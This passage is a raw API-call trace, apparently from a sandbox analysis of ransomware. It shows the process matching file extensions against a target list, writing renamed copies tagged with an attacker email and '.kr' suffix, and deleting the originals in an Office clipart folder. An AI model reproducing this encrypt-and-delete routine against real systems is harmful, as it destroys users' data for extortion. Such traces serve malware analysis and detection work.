nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.241] WriteFile (in: hFile=0x38c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.242] SetEndOfFile (hFile=0x38c) returned 1 [0211.242] CloseHandle (hObject=0x38c) returned 1 [0211.242] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.242] SetEndOfFile (hFile=0x4d8) returned 1 [0211.244] CloseHandle (hObject=0x4d8) returned 1 [0211.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 1 [0211.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0211.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0211.246] lstrlenW (lpString=".doc") returned 4 [0211.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.246] lstrlenW (lpString=".docx") returned 5 [0211.246] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.246] lstrlenW (lpString=".pdf") returned 4 [0211.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.246] lstrlenW (lpString=".xls") returned 4 [0211.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.246] lstrlenW (lpString=".xlsx") returned 5 [0211.246] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.246] lstrlenW (lpString=".ppt") returned 4 [0211.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0211.246] lstrlenW (lpString=".zip") returned 4 [0211.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.246] lstrlenW (lpString=".rar") returned 4 [0211.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.246] lstrlenW (lpString=".bz2") returned 4 [0211.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.246] lstrlenW (lpString=".7z") returned 3 [0211.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0211.246] lstrlenW (lpString=".dbf") returned 4 [0211.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0211.246] lstrlenW (lpString=".1cd") returned 4 [0211.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0211.246] lstrlenW (lpString=".jpg") returned 4 [0211.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0211.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0211.247] lstrlenW (lpString=".doc") returned 4 [0211.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.247] lstrlenW (lpString=".docx") returned 5 [0211.247] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.247] lstrlenW (lpString=".pdf") returned 4 [0211.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.247] lstrlenW (lpString=".xls") returned 4 [0211.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.247] lstrlenW (lpString=".xlsx") returned 5 [0211.247] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.247] lstrlenW (lpString=".ppt") returned 4 [0211.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0211.247] lstrlenW (lpString=".zip") returned 4 [0211.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.247] lstrlenW (lpString=".rar") returned 4 [0211.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.247] lstrlenW (lpString=".bz2") returned 4 [0211.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.247] lstrlenW (lpString=".7z") returned 3 [0211.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0211.247] lstrlenW (lpString=".dbf") returned 4 [0211.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0211.247] lstrlenW (lpString=".1cd") returned 4 [0211.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0211.247] lstrlenW (lpString=".jpg") returned 4 [0211.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.248] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.248] lstrlenW (lpString="J0107188.WMF") returned 12 [0211.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.249] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=4536) returned 1 [0211.249] CloseHandle (hObject=0x4d8) returned 1 [0211.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 0x220 [0211.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.250] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.250] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.250] GetLastError () returned 0x0 [0211.250] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x11b8, lpOverlapped=0x0) returned 1 [0211.252] WriteFile (in: hFile=0x38c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x11c0, lpOverlapped=0x0) returned 1 [0211.253] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.253] WriteFile (in: hFile=0x38c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.253] SetEndOfFile (hFile=0x38c) returned 1 [0211.253] CloseHandle (hObject=0x38c) returned 1 [0211.254] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.254] SetEndOfFile (hFile=0x4d8) returned 1 [0211.256] CloseHandle (hObject=0x4d8) returned 1 [0211.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0211.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0211.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0211.258] lstrlenW (lpString=".doc") returned 4 [0211.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.258] lstrlenW (lpString=".docx") returned 5 [0211.258] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.258] lstrlenW (lpString=".pdf") returned 4 [0211.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.258] lstrlenW (lpString=".xls") returned 4 [0211.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.258] lstrlenW (lpString=".xlsx") returned 5 [0211.258] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.258] lstrlenW (lpString=".ppt") returned 4 [0211.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0211.258] lstrlenW (lpString=".zip") returned 4 [0211.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.258] lstrlenW (lpString=".rar") returned 4 [0211.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.258] lstrlenW (lpString=".bz2") returned 4 [0211.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.258] lstrlenW (lpString=".7z") returned 3 [0211.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0211.258] lstrlenW (lpString=".dbf") returned 4 [0211.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0211.258] lstrlenW (lpString=".1cd") returned 4 [0211.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0211.258] lstrlenW (lpString=".jpg") returned 4 [0211.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0211.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0211.259] lstrlenW (lpString=".doc") returned 4 [0211.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString=".docx") returned 5 [0211.259] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.259] lstrlenW (lpString=".pdf") returned 4 [0211.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString=".xls") returned 4 [0211.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.259] lstrlenW (lpString=".xlsx") returned 5 [0211.259] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.259] lstrlenW (lpString=".ppt") returned 4 [0211.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0211.259] lstrlenW (lpString=".zip") returned 4 [0211.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.259] lstrlenW (lpString=".rar") returned 4 [0211.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString=".bz2") returned 4 [0211.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString=".7z") returned 3 [0211.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0211.259] lstrlenW (lpString=".dbf") returned 4 [0211.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0211.259] lstrlenW (lpString=".1cd") returned 4 [0211.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0211.259] lstrlenW (lpString=".jpg") returned 4 [0211.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.260] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.260] lstrlenW (lpString="J0107192.WMF") returned 12 [0211.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.260] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=9968) returned 1 [0211.261] CloseHandle (hObject=0x4d8) returned 1 [0211.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 0x220 [0211.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.261] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.261] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.262] GetLastError () returned 0x0 [0211.262] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x26f0, lpOverlapped=0x0) returned 1 [0211.555] WriteFile (in: hFile=0x38c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2700, lpOverlapped=0x0) returned 1 [0211.556] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.556] WriteFile (in: hFile=0x38c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.556] SetEndOfFile (hFile=0x38c) returned 1 [0211.556] CloseHandle (hObject=0x38c) returned 1 [0211.556] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.556] SetEndOfFile (hFile=0x4d8) returned 1 [0211.559] CloseHandle (hObject=0x4d8) returned 1 [0211.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0211.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0211.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0211.560] lstrlenW (lpString=".doc") returned 4 [0211.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.560] lstrlenW (lpString=".docx") returned 5 [0211.560] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.560] lstrlenW (lpString=".pdf") returned 4 [0211.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.560] lstrlenW (lpString=".xls") returned 4 [0211.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.560] lstrlenW (lpString=".xlsx") returned 5 [0211.560] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.560] lstrlenW (lpString=".ppt") returned 4 [0211.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0211.560] lstrlenW (lpString=".zip") returned 4 [0211.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.560] lstrlenW (lpString=".rar") returned 4 [0211.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.560] lstrlenW (lpString=".bz2") returned 4 [0211.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.561] lstrlenW (lpString=".7z") returned 3 [0211.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0211.561] lstrlenW (lpString=".dbf") returned 4 [0211.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0211.561] lstrlenW (lpString=".1cd") returned 4 [0211.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0211.561] lstrlenW (lpString=".jpg") returned 4 [0211.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0211.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0211.561] lstrlenW (lpString=".doc") returned 4 [0211.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.561] lstrlenW (lpString=".docx") returned 5 [0211.561] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.561] lstrlenW (lpString=".pdf") returned 4 [0211.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.561] lstrlenW (lpString=".xls") returned 4 [0211.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.561] lstrlenW (lpString=".xlsx") returned 5 [0211.561] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.561] lstrlenW (lpString=".ppt") returned 4 [0211.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0211.561] lstrlenW (lpString=".zip") returned 4 [0211.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.561] lstrlenW (lpString=".rar") returned 4 [0211.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.561] lstrlenW (lpString=".bz2") returned 4 [0211.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.561] lstrlenW (lpString=".7z") returned 3 [0211.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0211.562] lstrlenW (lpString=".dbf") returned 4 [0211.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0211.562] lstrlenW (lpString=".1cd") returned 4 [0211.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0211.562] lstrlenW (lpString=".jpg") returned 4 [0211.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.562] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.562] lstrlenW (lpString="J0107300.WMF") returned 12 [0211.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.240] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2460) returned 1 [0212.255] CloseHandle (hObject=0x518) returned 1 [0212.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 0x220 [0212.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.256] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.256] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0212.256] GetLastError () returned 0x0 [0212.256] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x99c, lpOverlapped=0x0) returned 1 [0212.258] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0212.259] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.259] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.259] SetEndOfFile (hFile=0x3f8) returned 1 [0212.259] CloseHandle (hObject=0x3f8) returned 1 